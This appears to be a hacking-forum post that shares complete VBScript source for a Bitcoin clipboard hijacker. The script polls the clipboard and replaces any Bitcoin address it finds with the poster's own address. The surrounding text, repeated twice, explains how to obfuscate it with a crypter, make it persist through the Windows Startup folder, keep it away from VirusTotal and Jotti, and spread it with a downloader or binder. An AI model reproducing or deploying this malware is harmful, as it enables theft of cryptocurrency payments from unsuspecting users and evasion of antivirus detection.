Пожалуйста, обратите внимание, что пользователь заблокирован
Save it as .vbs
You can crypt it with a vbs crypter if you want to...
and u can also use a batch script to copy it to startup
copy "%TEMP%\Clipper.vbs" %USERPROFILE%\Start Menu\Programs\Startup
-RULES
DO NOT SCAN IT ON THESE WEBSITES
Jotti
virustotal
DO NOT UPLOAD IT TO THESE SITES
Mediafire
USE A DOWNLOADER OR A BINDER
[/B]
BTC = "UR BTC ADDRESS HERE"
On Error Resume Next
Set re = New RegExp
With re
.Pattern = "\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b"
.IgnoreCase = False
.Global = False
End With
Set objHTML = CreateObject("htmlfile")
do
wscript.sleep(200)
CB = objHTML.ParentWindow.ClipboardData.GetData("text")
If re.Test(CB) Then
If InStr(CB, BTC) > 0 Then
Else
SetB (BTC)
End If
End If
loop
Function SetB(input)
CreateObject("WScript.Shell").Run _
"mshta.exe javascript:eval(""document.parentWindow.clipboardData.setData('text','" _
& Replace(Replace(Replace(input, "'", "\\u0027"), """","\\u0022"),Chr(13),"\\r\\n") & "');window.close()"")", _
0,True
End Function
[B]You can crypt it with a vbs crypter if you want to...
and u can also use a batch script to copy it to startup
copy "%TEMP%\Clipper.vbs" %USERPROFILE%\Start Menu\Programs\Startup
-RULES
DO NOT SCAN IT ON THESE WEBSITES
Jotti
virustotal
DO NOT UPLOAD IT TO THESE SITES
Mediafire
USE A DOWNLOADER OR A BINDER